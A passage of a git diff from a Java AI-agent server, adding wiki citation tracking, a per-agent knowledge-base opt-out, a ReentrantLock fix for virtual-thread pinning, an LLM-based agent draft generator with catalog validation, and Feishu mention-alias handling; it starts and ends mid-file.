unsupported.add("wiki source title for [" + index + "]"); + } + } + } + + private LinkedHashSet citationIndexesIn(String answer) { + LinkedHashSet indexes = new LinkedHashSet<>(); + Matcher citationMatcher = CITATION_MARKER.matcher(answer); + while (citationMatcher.find()) { + try { + indexes.add(Integer.parseInt(citationMatcher.group(1))); + } catch (NumberFormatException ignored) { + } + } + return indexes; + } + + private WikiCitation wikiCitation(int index) { + return wikiCitations.stream() + .filter(c -> c.index() == index) + .findFirst() + .orElse(null); + } + + private static String sourceLineFor(String answer, int index) { + Pattern pattern = Pattern.compile("(?m)^\\s*\\[" + index + "\\]\\s+(.+)$"); + Matcher matcher = pattern.matcher(answer); + return matcher.find() ? matcher.group(1).trim() : null; + } + + /** + * Replace the existing source line for {@code index} with the canonical + * form. Matches a full line starting with optional whitespace, {@code [N]}, + * then any content, and replaces it in-place so the frontend can reliably + * parse the source table to build a citation index → title map. + */ + private static String replaceSourceLine(String answer, int index, String canonicalLine) { + Pattern pattern = Pattern.compile("(?m)^\\s*\\[" + index + "\\]\\s+.+$"); + return pattern.matcher(answer).replaceFirst( + Matcher.quoteReplacement(canonicalLine)); + } + private boolean hasFileName(String fileName) { String normalized = normalizePath(fileName); return sourcePaths.stream().anyMatch(p -> p.equals(normalized) || p.endsWith("/" + normalized)); @@ -134,6 +319,13 @@ public record SourceEvidenceLedger( return normalized.equals("read_file"); } + private static boolean isWikiTool(String name) { + if (name == null) { + return false; + } + return name.toLowerCase(Locale.ROOT).replace("-", "_").startsWith("wiki_"); + } + private static void recordReadFile(String data, Builder builder) { try { JsonNode root = MAPPER.readTree(data); @@ -158,6 +350,56 @@ public record SourceEvidenceLedger( recordSymbols(text, builder); } + private static void recordWikiEvidence(String text, Builder builder) { + if (text == null || text.isBlank()) { + return; + } + try { + JsonNode root = MAPPER.readTree(text); + recordWikiArray(root.path("chunks"), builder); + recordWikiArray(root.path("pages"), builder); + String title = root.path("title").asText(""); + String rawTitle = root.path("rawTitle").asText(""); + if (!title.isBlank()) { + builder.wikiPageTitle(title); + builder.wikiCitation(new WikiCitation(1, "", title, "", null)); + } + if (!rawTitle.isBlank()) { + builder.wikiPageTitle(rawTitle); + builder.wikiCitation(new WikiCitation(1, "", rawTitle, "", null)); + } + } catch (Exception ignored) { + } + } + + private static void recordWikiArray(JsonNode nodes, Builder builder) { + if (!nodes.isArray()) { + return; + } + int ordinal = 1; + for (JsonNode node : nodes) { + int index = node.path("index").isInt() ? node.path("index").asInt() : ordinal; + String title = firstNonBlank(node.path("rawTitle").asText(""), node.path("title").asText("")); + String chunkId = node.path("chunkId").asText(""); + String section = node.path("section").asText(""); + Integer pageNumber = node.hasNonNull("pageNumber") ? node.path("pageNumber").asInt() : null; + if (!title.isBlank()) { + builder.wikiPageTitle(title); + } + if (!chunkId.isBlank()) { + builder.wikiChunkId(chunkId); + } + if (!title.isBlank() || !chunkId.isBlank()) { + builder.wikiCitation(new WikiCitation(index, chunkId, title, section, pageNumber)); + } + ordinal++; + } + } + + private static String firstNonBlank(String first, String second) { + return first != null && !first.isBlank() ? first : (second == null ? "" : second); + } + private static void recordSymbols(String text, Builder builder) { Matcher matcher = DECLARED_TYPE.matcher(text); while (matcher.find()) { @@ -180,6 +422,9 @@ public record SourceEvidenceLedger( private final LinkedHashSet sourcePaths = new LinkedHashSet<>(); private final LinkedHashSet sourceSymbols = new LinkedHashSet<>(); private final LinkedHashSet failedPaths = new LinkedHashSet<>(); + private final LinkedHashSet wikiPageTitles = new LinkedHashSet<>(); + private final LinkedHashSet wikiChunkIds = new LinkedHashSet<>(); + private final LinkedHashSet wikiCitations = new LinkedHashSet<>(); void sourcePath(String path) { String normalized = normalizePath(path); @@ -207,8 +452,63 @@ public record SourceEvidenceLedger( } } + void wikiPageTitle(String title) { + if (title != null && !title.isBlank()) { + wikiPageTitles.add(title.trim()); + } + } + + void wikiChunkId(String chunkId) { + if (chunkId != null && !chunkId.isBlank()) { + wikiChunkIds.add(chunkId.trim()); + } + } + + void wikiCitation(WikiCitation citation) { + if (citation == null || citation.index() < 1) { + return; + } + wikiCitations.removeIf(existing -> existing.index() == citation.index()); + wikiCitations.add(citation.normalized()); + } + SourceEvidenceLedger build() { - return new SourceEvidenceLedger(sourcePaths, sourceSymbols, failedPaths); + return new SourceEvidenceLedger(sourcePaths, sourceSymbols, failedPaths, + wikiPageTitles, wikiChunkIds, wikiCitations); + } + } + + public record WikiCitation(int index, String chunkId, String title, + String section, Integer pageNumber) implements Serializable { + WikiCitation normalized() { + return new WikiCitation(index, + chunkId == null ? "" : chunkId.trim(), + title == null ? "" : title.trim(), + section == null ? "" : section.trim(), + pageNumber); + } + + String sourceLine() { + StringBuilder sb = new StringBuilder(); + sb.append("[").append(index).append("] "); + sb.append(title == null || title.isBlank() ? "chunkId=" + chunkId : title); + if (section != null && !section.isBlank()) { + sb.append(" - ").append(section); + } + if (pageNumber != null) { + sb.append(" - page ").append(pageNumber); + } + return sb.toString(); + } + + boolean matchesSourceLine(String line) { + if (line == null || line.isBlank()) { + return false; + } + if (title != null && !title.isBlank() && line.contains(title)) { + return true; + } + return chunkId != null && !chunkId.isBlank() && line.contains(chunkId); } } diff --git a/mateclaw-server/src/main/java/vip/mate/agent/model/AgentEntity.java b/mateclaw-server/src/main/java/vip/mate/agent/model/AgentEntity.java index 65437dca..3a49340c 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/model/AgentEntity.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/model/AgentEntity.java @@ -131,6 +131,22 @@ public class AgentEntity { @TableField(value = "tools_disabled") private Boolean toolsDisabled; + /** + * Explicit opt-out from every knowledge base. When {@code true}, + * {@code AgentBindingService.getBoundKbIds} returns + * {@link java.util.Collections#emptySet()} and the wiki tools degrade with + * their standard "no knowledge base" message; the webchat + * {@code /wiki/pages} picker endpoint returns an empty list. Without this + * flag, leaving the KB picker empty means "inherit workspace-wide" — every + * KB visible — which is the right default but leaves no way to express + * "this agent intentionally uses no KB" (issue #304). + * + *

    Same defaulting / auto-clear / update strategy contract as + * {@link #skillsDisabled}. + */ + @TableField(value = "wiki_disabled") + private Boolean wikiDisabled; + @TableField(fill = FieldFill.INSERT) private LocalDateTime createTime; diff --git a/mateclaw-server/src/main/java/vip/mate/agent/progress/ProgressLedgerService.java b/mateclaw-server/src/main/java/vip/mate/agent/progress/ProgressLedgerService.java index ec27c78a..4ea0106b 100644 --- a/mateclaw-server/src/main/java/vip/mate/agent/progress/ProgressLedgerService.java +++ b/mateclaw-server/src/main/java/vip/mate/agent/progress/ProgressLedgerService.java @@ -14,6 +14,7 @@ import java.time.Instant; import java.util.LinkedHashMap; import java.util.Map; import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.locks.ReentrantLock; /** * Loader / writer for the per-conversation progress ledger persisted as a @@ -38,7 +39,7 @@ public class ProgressLedgerService { new TypeReference<>() {}; /** - * Per-conversation mutex for the load-mutate-save sequence inside + * Per-conversation lock for the load-mutate-save sequence inside * {@link #upsert}. Without this guard, a single agent turn that issues * N parallel {@code progress_update} tool calls (observed: 12 calls in * one batch when the model pre-registered every step at task start) @@ -46,13 +47,26 @@ public class ProgressLedgerService { * the whole point of the ledger. Different conversations stay * uncontended; only intra-conversation writes serialise. * + *

    Must be a {@link ReentrantLock}, not an intrinsic {@code synchronized} + * monitor. Tool calls execute on virtual threads, and the critical section + * spans blocking JDBC I/O (load + persist). A virtual thread that blocks — + * whether on the DB call or while waiting to enter the lock — pins its + * carrier when the lock is an intrinsic monitor. A turn that fires dozens + * of parallel {@code progress_update} calls on the same conversation then + * pins every carrier in the pool at once: the holder cannot be rescheduled + * to release its connection and exit, JDBC connections are held past the + * leak-detection threshold, and the whole server stops servicing requests. + * {@code ReentrantLock} parks via {@code LockSupport}, which unmounts the + * virtual thread and frees the carrier, so contention costs a park instead + * of a pinned platform thread. + * *

    Entries are computed on demand and never explicitly removed; even * with thousands of long-running conversations the map stays bounded by - * the active conversation set, and any leak is a {@code Object} per - * conversation id — small enough to ignore relative to the rest of the - * per-conv state already held in memory. + * the active conversation set, and any leak is one lock per conversation + * id — small enough to ignore relative to the rest of the per-conv state + * already held in memory. */ - private final ConcurrentHashMap upsertLocks = new ConcurrentHashMap<>(); + private final ConcurrentHashMap upsertLocks = new ConcurrentHashMap<>(); private final ConversationMapper conversationMapper; private final ObjectMapper objectMapper; @@ -116,8 +130,9 @@ public class ProgressLedgerService { // last save() drops the other's entry. Observed in production: a // 12-entry pre-registration collapsed to 8 because four sibling // tool calls landed in the same window. - Object mutex = upsertLocks.computeIfAbsent(conversationId, k -> new Object()); - synchronized (mutex) { + ReentrantLock lock = upsertLocks.computeIfAbsent(conversationId, k -> new ReentrantLock()); + lock.lock(); + try { ProgressLedger ledger = load(conversationId); Map map = ledger.asMap(); ProgressEntry existing = map.get(key); @@ -127,6 +142,8 @@ public class ProgressLedgerService { map.put(key, new ProgressEntry(key, effectiveLabel, status, note, Instant.now())); persist(conversationId, map); return new ProgressLedger(map); + } finally { + lock.unlock(); } } diff --git a/mateclaw-server/src/main/java/vip/mate/agent/service/AgentGenerationService.java b/mateclaw-server/src/main/java/vip/mate/agent/service/AgentGenerationService.java new file mode 100644 index 00000000..8534cfca --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/agent/service/AgentGenerationService.java @@ -0,0 +1,357 @@ +package vip.mate.agent.service; + +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; +import org.springframework.ai.chat.messages.SystemMessage; +import org.springframework.ai.chat.messages.UserMessage; +import org.springframework.ai.chat.model.ChatModel; +import org.springframework.ai.chat.model.ChatResponse; +import org.springframework.ai.chat.prompt.Prompt; +import org.springframework.stereotype.Service; +import vip.mate.agent.AgentGraphBuilder; +import vip.mate.agent.vo.AgentDraftVO; +import vip.mate.exception.MateClawException; +import vip.mate.llm.model.ModelConfigEntity; +import vip.mate.llm.service.ModelConfigService; +import vip.mate.skill.model.SkillEntity; +import vip.mate.skill.service.SkillService; +import vip.mate.tool.model.AvailableToolDTO; +import vip.mate.tool.service.AvailableToolService; +import vip.mate.wiki.model.WikiKnowledgeBaseEntity; +import vip.mate.wiki.service.WikiKnowledgeBaseService; + +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * Turns a single natural-language requirement into a ready-to-review employee + * draft. The model is given the workspace's real capability catalog (tools, + * skills, knowledge bases) and asked to pick from it, so the resulting draft + * proposes a name, persona, type and a coherent set of capabilities in one + * shot. Every suggested capability is re-validated against the catalog before + * it leaves this service, so a hallucinated tool name or skill id never + * reaches the wizard. + * + *

    The draft is intentionally not persisted here. The wizard renders it for + * review and edits, then commits through the existing agent-create and + * capability-binding endpoints — reusing their tested persistence and audit + * paths rather than duplicating them. + */ +@Slf4j +@Service +@RequiredArgsConstructor +public class AgentGenerationService { + + private final ModelConfigService modelConfigService; + private final AgentGraphBuilder agentGraphBuilder; + private final ObjectMapper objectMapper; + private final AvailableToolService availableToolService; + private final SkillService skillService; + private final WikiKnowledgeBaseService wikiKnowledgeBaseService; + + /** Bound the catalog we feed the model so the prompt stays compact. */ + private static final int MAX_TOOLS = 60; + private static final int MAX_SKILLS = 40; + private static final int MAX_KBS = 20; + + public AgentDraftVO generateDraft(String requirement, Long workspaceId) { + if (requirement == null || requirement.isBlank()) { + throw new MateClawException("err.agent.generate_empty", 400, + "Please describe the employee you want to create"); + } + long wsId = workspaceId != null ? workspaceId : 1L; + + ModelConfigEntity defaultModel = modelConfigService.getDefaultModel(); + if (defaultModel == null) { + throw new MateClawException("err.agent.generate_no_model", 400, + "No default model is configured yet"); + } + + // Build the capability catalog the model is allowed to pick from. + List tools = bindableTools(); + List skills = workspaceSkills(wsId); + List kbs = workspaceKbs(wsId); + + String systemPrompt = buildSystemPrompt(); + String userPrompt = buildUserPrompt(requirement.trim(), tools, skills, kbs); + + String raw; + try { + ChatModel chatModel = agentGraphBuilder.buildRuntimeChatModel(defaultModel); + ChatResponse response = chatModel.call(new Prompt(List.of( + new SystemMessage(systemPrompt), + new UserMessage(userPrompt)))); + raw = response != null && response.getResult() != null + && response.getResult().getOutput() != null + ? response.getResult().getOutput().getText() : null; + } catch (Exception e) { + log.warn("[AgentGen] LLM call failed: {}", e.getMessage()); + throw new MateClawException("err.agent.generate_failed", 500, + "Failed to generate employee draft"); + } + + JsonNode root = parseJson(raw); + if (root == null || !root.isObject()) { + throw new MateClawException("err.agent.generate_failed", 500, + "Model returned an unexpected response"); + } + return toDraft(root, tools, skills, kbs); + } + + // ==================== Catalog ==================== + + private List bindableTools() { + List all; + try { + all = availableToolService.listAvailable(); + } catch (Exception e) { + log.warn("[AgentGen] failed to list tools: {}", e.getMessage()); + return List.of(); + } + List out = new ArrayList<>(); + for (AvailableToolDTO t : all) { + // Only offer tools that are currently bindable and reachable; a + // stale MCP tool would resolve to nothing at chat time. + if (t != null && t.isAvailable() && !t.isStale() + && t.getName() != null && !t.getName().isBlank()) { + out.add(t); + if (out.size() >= MAX_TOOLS) break; + } + } + return out; + } + + private List workspaceSkills(long wsId) { + try { + List skills = skillService.listEnabledSkills(wsId); + return skills.size() > MAX_SKILLS ? skills.subList(0, MAX_SKILLS) : skills; + } catch (Exception e) { + log.warn("[AgentGen] failed to list skills: {}", e.getMessage()); + return List.of(); + } + } + + private List workspaceKbs(long wsId) { + try { + List kbs = wikiKnowledgeBaseService.listByWorkspace(wsId); + return kbs.size() > MAX_KBS ? kbs.subList(0, MAX_KBS) : kbs; + } catch (Exception e) { + log.warn("[AgentGen] failed to list knowledge bases: {}", e.getMessage()); + return List.of(); + } + } + + // ==================== Prompt ==================== + + private String buildSystemPrompt() { + return """ + You are an employee (AI agent) configuration generator for an agent platform. + Given a one-sentence requirement, output a single JSON object describing one + ready-to-use employee. Respond in the SAME language as the requirement. + + Output ONLY the JSON object, no prose, no markdown fences. Schema: + { + "name": "short display name, no instruction words", + "icon": "a single emoji matching the role", + "description": "one concise sentence shown on the roster card", + "agentType": "react | plan_execute", + "role": "short role label", + "goal": "one short sentence on what this employee achieves", + "systemPrompt": "the full persona prompt: who it is, how it works, constraints", + "tags": ["1-3 short tags"], + "recommendedQuestions": ["2-4 starter questions a user might ask first"], + "tools": ["tool names chosen ONLY from the provided tool catalog"], + "skillIds": ["skill ids chosen ONLY from the provided skill catalog, as strings"], + "primaryKbId": "one knowledge base id from the catalog, or null" + } + + Rules: + - Use agentType "plan_execute" only for multi-step / long-horizon work; otherwise "react". + - Pick tools, skillIds and primaryKbId ONLY from the catalogs given below. Never invent + names or ids. If nothing fits, return an empty array (or null for primaryKbId). + - Prefer the smallest capability set that satisfies the requirement. + - Skills already bundle their own tools, so do not also list a tool a chosen skill provides. + """; + } + + private String buildUserPrompt(String requirement, List tools, + List skills, List kbs) { + StringBuilder sb = new StringBuilder(); + sb.append("Requirement:\n").append(requirement).append("\n\n"); + + sb.append("Tool catalog (name — description):\n"); + if (tools.isEmpty()) { + sb.append("(none)\n"); + } else { + for (AvailableToolDTO t : tools) { + sb.append("- ").append(t.getName()); + if (t.getDescription() != null && !t.getDescription().isBlank()) { + sb.append(" — ").append(trim(t.getDescription(), 120)); + } + sb.append('\n'); + } + } + + sb.append("\nSkill catalog (id — name — description):\n"); + if (skills.isEmpty()) { + sb.append("(none)\n"); + } else { + for (SkillEntity s : skills) { + sb.append("- ").append(s.getId()).append(" — ").append(s.getName()); + if (s.getDescription() != null && !s.getDescription().isBlank()) { + sb.append(" — ").append(trim(s.getDescription(), 120)); + } + sb.append('\n'); + } + } + + sb.append("\nKnowledge base catalog (id — name — description):\n"); + if (kbs.isEmpty()) { + sb.append("(none)\n"); + } else { + for (WikiKnowledgeBaseEntity kb : kbs) { + sb.append("- ").append(kb.getId()).append(" — ").append(kb.getName()); + if (kb.getDescription() != null && !kb.getDescription().isBlank()) { + sb.append(" — ").append(trim(kb.getDescription(), 120)); + } + sb.append('\n'); + } + } + return sb.toString(); + } + + // ==================== Parse + validate ==================== + + private AgentDraftVO toDraft(JsonNode root, List tools, + List skills, List kbs) { + String name = text(root, "name"); + if (name.isBlank()) { + name = "New employee"; + } + String agentType = text(root, "agentType"); + if (!"plan_execute".equals(agentType)) { + agentType = "react"; + } + + return AgentDraftVO.builder() + .name(trim(name, 60)) + .icon(firstEmoji(text(root, "icon"))) + .description(trim(text(root, "description"), 200)) + .agentType(agentType) + .role(trim(text(root, "role"), 60)) + .goal(trim(text(root, "goal"), 120)) + .systemPrompt(text(root, "systemPrompt")) + .tags(stringList(root.get("tags"), 5)) + .recommendedQuestions(stringList(root.get("recommendedQuestions"), 4)) + .tools(validTools(root.get("tools"), tools)) + .skillIds(validSkillIds(root.get("skillIds"), skills)) + .primaryKbId(validKbId(root.get("primaryKbId"), kbs)) + .build(); + } + + private List validTools(JsonNode node, List catalog) { + Set allowed = new LinkedHashSet<>(); + for (AvailableToolDTO t : catalog) allowed.add(t.getName()); + List out = new ArrayList<>(); + if (node != null && node.isArray()) { + for (JsonNode n : node) { + String v = n.asText(""); + if (allowed.contains(v) && !out.contains(v)) out.add(v); + } + } + return out; + } + + private List validSkillIds(JsonNode node, List catalog) { + Map allowed = new LinkedHashMap<>(); + for (SkillEntity s : catalog) allowed.put(s.getId(), Boolean.TRUE); + List out = new ArrayList<>(); + if (node != null && node.isArray()) { + for (JsonNode n : node) { + Long id = asLong(n); + if (id != null && allowed.containsKey(id) && !out.contains(id)) out.add(id); + } + } + return out; + } + + private Long validKbId(JsonNode node, List catalog) { + Long id = asLong(node); + if (id == null) return null; + for (WikiKnowledgeBaseEntity kb : catalog) { + if (kb.getId().equals(id)) return id; + } + return null; + } + + // ==================== Helpers ==================== + + private JsonNode parseJson(String response) { + if (response == null || response.isBlank()) return null; + String cleaned = response.trim(); + if (cleaned.startsWith("```json")) cleaned = cleaned.substring(7); + else if (cleaned.startsWith("```")) cleaned = cleaned.substring(3); + if (cleaned.endsWith("```")) cleaned = cleaned.substring(0, cleaned.length() - 3); + cleaned = cleaned.trim(); + try { + return objectMapper.readTree(cleaned); + } catch (Exception e) { + log.debug("[AgentGen] JSON parse failed: {}", e.getMessage()); + return null; + } + } + + /** Accept both numeric and textual ids — textual is preferred to preserve precision. */ + private Long asLong(JsonNode node) { + if (node == null || node.isNull()) return null; + try { + if (node.isTextual()) { + String v = node.asText().trim(); + return v.isEmpty() ? null : Long.parseLong(v); + } + if (node.isNumber()) return node.asLong(); + } catch (NumberFormatException ignored) { + // fall through + } + return null; + } + + private static String text(JsonNode root, String field) { + JsonNode n = root.get(field); + return n == null || n.isNull() ? "" : n.asText("").trim(); + } + + private static List stringList(JsonNode node, int max) { + List out = new ArrayList<>(); + if (node != null && node.isArray()) { + for (JsonNode n : node) { + String v = n.asText("").trim(); + if (!v.isEmpty() && !out.contains(v)) { + out.add(v); + if (out.size() >= max) break; + } + } + } + return out; + } + + private static String trim(String s, int max) { + if (s == null) return ""; + String t = s.trim(); + return t.length() > max ? t.substring(0, max) : t; + } + + /** Keep only the first emoji-ish glyph so the icon column never holds a sentence. */ + private static String firstEmoji(String s) { + if (s == null || s.isBlank()) return "🤖"; + String t = s.trim(); + int end = t.offsetByCodePoints(0, Math.min(t.codePointCount(0, t.length()), 1)); + return t.substring(0, end); + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/agent/vo/AgentDraftVO.java b/mateclaw-server/src/main/java/vip/mate/agent/vo/AgentDraftVO.java new file mode 100644 index 00000000..80b9693d --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/agent/vo/AgentDraftVO.java @@ -0,0 +1,65 @@ +package vip.mate.agent.vo; + +import com.fasterxml.jackson.databind.annotation.JsonSerialize; +import com.fasterxml.jackson.databind.ser.std.ToStringSerializer; +import lombok.Builder; +import lombok.Data; + +import java.util.List; + +/** + * An AI-generated employee draft produced from a single natural-language + * requirement. The draft is never persisted on its own — the create wizard + * shows it for review, lets the user tweak any field, then commits it through + * the normal agent-create and capability-binding endpoints. + * + *

    Every suggested capability ({@link #tools}, {@link #skillIds}, + * {@link #primaryKbId}) is validated against the workspace catalog before the + * draft is returned, so the wizard never offers a tool name or knowledge base + * that does not actually exist. + */ +@Data +@Builder +public class AgentDraftVO { + + /** Display name for the new employee. */ + private String name; + + /** Emoji icon chosen to match the role. */ + private String icon; + + /** One-line description shown on the roster card. */ + private String description; + + /** Runtime kind: {@code react} or {@code plan_execute}. */ + private String agentType; + + /** Assembled persona / system prompt, editable before commit. */ + private String systemPrompt; + + /** Short role label, used for the card tagline preview. */ + private String role; + + /** Short goal statement, used for the card tagline preview. */ + private String goal; + + /** Suggested tags. */ + private List tags; + + /** A few starter questions to seed the first conversation. */ + private List recommendedQuestions; + + /** + * Tool names to bind, drawn from the workspace's available tool catalog + * (built-in and MCP). Hallucinated names are dropped during validation. + */ + private List tools; + + /** Skill ids to bind, validated against the workspace's enabled skills. */ + @JsonSerialize(contentUsing = ToStringSerializer.class) + private List skillIds; + + /** Primary knowledge base id to attach, or null when none fits. */ + @JsonSerialize(using = ToStringSerializer.class) + private Long primaryKbId; +} diff --git a/mateclaw-server/src/main/java/vip/mate/audit/service/AuditEventService.java b/mateclaw-server/src/main/java/vip/mate/audit/service/AuditEventService.java index 669c0e5b..daa0632c 100644 --- a/mateclaw-server/src/main/java/vip/mate/audit/service/AuditEventService.java +++ b/mateclaw-server/src/main/java/vip/mate/audit/service/AuditEventService.java @@ -63,6 +63,37 @@ public class AuditEventService { } } + /** + * 异步记录审计事件,显式指定 actor(而非从 SecurityContext 推导)。 + *

    用于非 MateClaw 用户的写操作 —— 当前主要是 webchat 访客。actor 形如 + * {@code "webchat::"},{@code userId} 落 0(访客没有 MateClaw 账户)。 + * IP / User-Agent 仍尽量从当前请求抓取(webEnvironment=NONE 下为 null,可接受)。 + */ + public void recordAs(String actor, Long workspaceId, String action, String resourceType, + String resourceId, String resourceName, String detailJson) { + AuditEventEntity event = new AuditEventEntity(); + event.setUsername(actor != null ? actor : "system"); + event.setUserId(0L); + event.setAction(action); + event.setResourceType(resourceType); + event.setResourceId(resourceId); + event.setResourceName(resourceName); + event.setDetailJson(detailJson); + event.setWorkspaceId(workspaceId); + event.setCreateTime(LocalDateTime.now()); + try { + ServletRequestAttributes attrs = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); + if (attrs != null) { + HttpServletRequest request = attrs.getRequest(); + event.setIpAddress(getClientIp(request)); + event.setUserAgent(truncate(request.getHeader("User-Agent"), 256)); + } + } catch (Exception ignored) { + // 异步或非 web 上下文:跳过 IP/UA + } + insertAsync(event); + } + @Async void insertAsync(AuditEventEntity event) { try { diff --git a/mateclaw-server/src/main/java/vip/mate/channel/ChannelChatOriginFactory.java b/mateclaw-server/src/main/java/vip/mate/channel/ChannelChatOriginFactory.java index 1d739125..f8b166d4 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/ChannelChatOriginFactory.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/ChannelChatOriginFactory.java @@ -43,7 +43,8 @@ public class ChannelChatOriginFactory { /* channelType */ message.getChannelType() != null ? message.getChannelType() : channel.getChannelType(), - /* chatId */ message.getChatId()); + /* chatId */ message.getChatId(), + /* baseUrl */ null); // IM origins have no request host; rely on public-base-url config } /** diff --git a/mateclaw-server/src/main/java/vip/mate/channel/ChannelManager.java b/mateclaw-server/src/main/java/vip/mate/channel/ChannelManager.java index d010c74d..30489180 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/ChannelManager.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/ChannelManager.java @@ -6,6 +6,7 @@ import lombok.RequiredArgsConstructor; import lombok.extern.slf4j.Slf4j; import org.springframework.boot.context.event.ApplicationReadyEvent; import org.springframework.context.event.EventListener; +import org.springframework.scheduling.annotation.Async; import org.springframework.stereotype.Component; import vip.mate.channel.dingtalk.DingTalkChannelAdapter; import vip.mate.channel.discord.DiscordChannelAdapter; @@ -230,9 +231,12 @@ public class ChannelManager { ); /** - * 应用启动完成后自动加载并启动所有已启用的渠道 - * 使用 ApplicationReadyEvent 确保数据库 schema/data 初始化完成 + * 应用启动完成后自动加载并启动所有已启用的渠道。 + * 使用 ApplicationReadyEvent 确保数据库 schema/data 初始化完成。 + * {@code @Async} — 渠道适配器的网络建连(如 Discord WebSocket / Telegram webhook) + * 可能因外部网络不可达而阻塞数分钟,异步启动避免卡住主线程。 */ + @Async @EventListener(ApplicationReadyEvent.class) public void init() { log.info("Initializing ChannelManager..."); diff --git a/mateclaw-server/src/main/java/vip/mate/channel/ChannelMessageRouter.java b/mateclaw-server/src/main/java/vip/mate/channel/ChannelMessageRouter.java index d0ecc33c..17adde6b 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/ChannelMessageRouter.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/ChannelMessageRouter.java @@ -1310,6 +1310,15 @@ public class ChannelMessageRouter { return message.getChannelType() + ":" + identifier; } + /** + * Read-only existence check for a conversation by its logical id. Used by + * adapters that need to alias a legacy conversationId scheme to a new one + * without rewriting stored rows (e.g. Feishu group session-id migration). + */ + public boolean conversationExists(String conversationId) { + return conversationService.findByConversationId(conversationId) != null; + } + /** * Build a sender-attribution tag for group messages. Returns * {@code [@senderName]} when the message is from a multi-user channel diff --git a/mateclaw-server/src/main/java/vip/mate/channel/dingtalk/DingTalkChannelAdapter.java b/mateclaw-server/src/main/java/vip/mate/channel/dingtalk/DingTalkChannelAdapter.java index 1994c7ea..8144479e 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/dingtalk/DingTalkChannelAdapter.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/dingtalk/DingTalkChannelAdapter.java @@ -707,7 +707,7 @@ public class DingTalkChannelAdapter extends AbstractChannelAdapter implements St } private static final java.util.regex.Pattern GENERATED_URL_PATTERN = - java.util.regex.Pattern.compile("/api/v1/files/generated/([a-zA-Z0-9-]+)"); + java.util.regex.Pattern.compile("(?:https?://[^/\\s)\\]]+)?/api/v1/files/generated/([a-zA-Z0-9-]+)"); private static boolean isImageMime(String mimeType) { return mimeType != null && mimeType.toLowerCase().startsWith("image/"); diff --git a/mateclaw-server/src/main/java/vip/mate/channel/feishu/FeishuChannelAdapter.java b/mateclaw-server/src/main/java/vip/mate/channel/feishu/FeishuChannelAdapter.java index 718d50ff..ce44b1ae 100644 --- a/mateclaw-server/src/main/java/vip/mate/channel/feishu/FeishuChannelAdapter.java +++ b/mateclaw-server/src/main/java/vip/mate/channel/feishu/FeishuChannelAdapter.java @@ -86,6 +86,38 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre /** 消息去重:最近处理过的 message_id */ private final Set processedMessageIds = ConcurrentHashMap.newKeySet(); + /** + * 群内 bot 别名缓存:chatId → 学到的别名集合(openId / unionId / userId / name)。 + *

    飞书 SDK 投递的 mention 里,bot 的标识可能是群内自定义别名({@code ou_357e...} / 自定义名称), + * 而不是 {@code /bot/v3/info} 返回的全局 openId / app_name。我们在双投递场景下 + * 机会性地学习这些别名,后续单事件投递的消息就能命中缓存。 + */ + private final ConcurrentHashMap> chatBotAliases = new ConcurrentHashMap<>(); + + /** Max learned aliases retained per chat, to bound memory on busy groups. */ + private static final int CHAT_ALIAS_MAX = 64; + + /** + * Per-messageId mention tracker(带 TTL)。 + *

    飞书 SDK 经常对同一条消息双投递:一份 mentions 含 bot 的全局身份(来自 /bot/v3/info), + * 另一份含 bot 的群内别名。我们累积同一 messageId 下单 mention投递看到的标识, + * 一旦其中任何一份被识别为 @bot,就把累积的标识写入 {@link #chatBotAliases}。 + *

    只累积单 mention 投递是有意为之:多 mention 投递(如 {@code @bot @某人})会把 bot 与 + * 被同时 @ 的人混在一起,无法区分,若整体学习会把人误学成 bot 别名,导致之后 @ 该人的消息 + * 被误判为 @bot。而飞书双投递里 bot 别名那一份本身就是单 mention,所以这样既安全又不丢功能。 + */ + private final ConcurrentHashMap mentionTracker = new ConcurrentHashMap<>(); + + /** mention tracker 条目 TTL(60s 远大于双投递的真实间隔,几个 ms 级别)。 */ + private static final long MENTION_TRACK_TTL_MS = 60_000L; + + /** Package-private for testing. */ + static final class MentionTrack { + final Set seenIds = ConcurrentHashMap.newKeySet(); + final long createdAtMs = System.currentTimeMillis(); + volatile boolean matched = false; + } + /** 昵称缓存:open_id → 显示名称 */ private final ConcurrentHashMap nicknameCache = new ConcurrentHashMap<>(); private static final int NICKNAME_CACHE_MAX = 500; @@ -114,6 +146,9 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre /** Bot's own open_id, fetched once from /open-apis/bot/v3/info and cached. */ private volatile String botOpenId; + /** Bot's display name (app_name), fetched alongside open_id. Used for name-based mention matching. */ + private volatile String botName; + /** Serializes lazy bot-open-id fetches so concurrent group messages share one API roundtrip. */ private final Object botOpenIdLock = new Object(); @@ -187,11 +222,15 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre record RecentFileEntry(String fileName, String path, String fileUrl, String contentType) {} - private final Cache> recentFileCache = Caffeine.newBuilder() + // Package-private for testing: seed the cache directly to verify injection paths. + final Cache> recentFileCache = Caffeine.newBuilder() .expireAfterWrite(RECENT_FILE_TTL_MINUTES, TimeUnit.MINUTES) .maximumSize(200) .build(); + // Package-private for testing: redirect to a temp directory without touching real disk. + Path chatUploadsRoot = Path.of("data", "chat-uploads"); + public FeishuChannelAdapter(ChannelEntity channelEntity, ChannelMessageRouter messageRouter, ObjectMapper objectMapper) { @@ -331,9 +370,12 @@ public class FeishuChannelAdapter extends AbstractChannelAdapter implements Stre // a torn write that could re-cache a stale 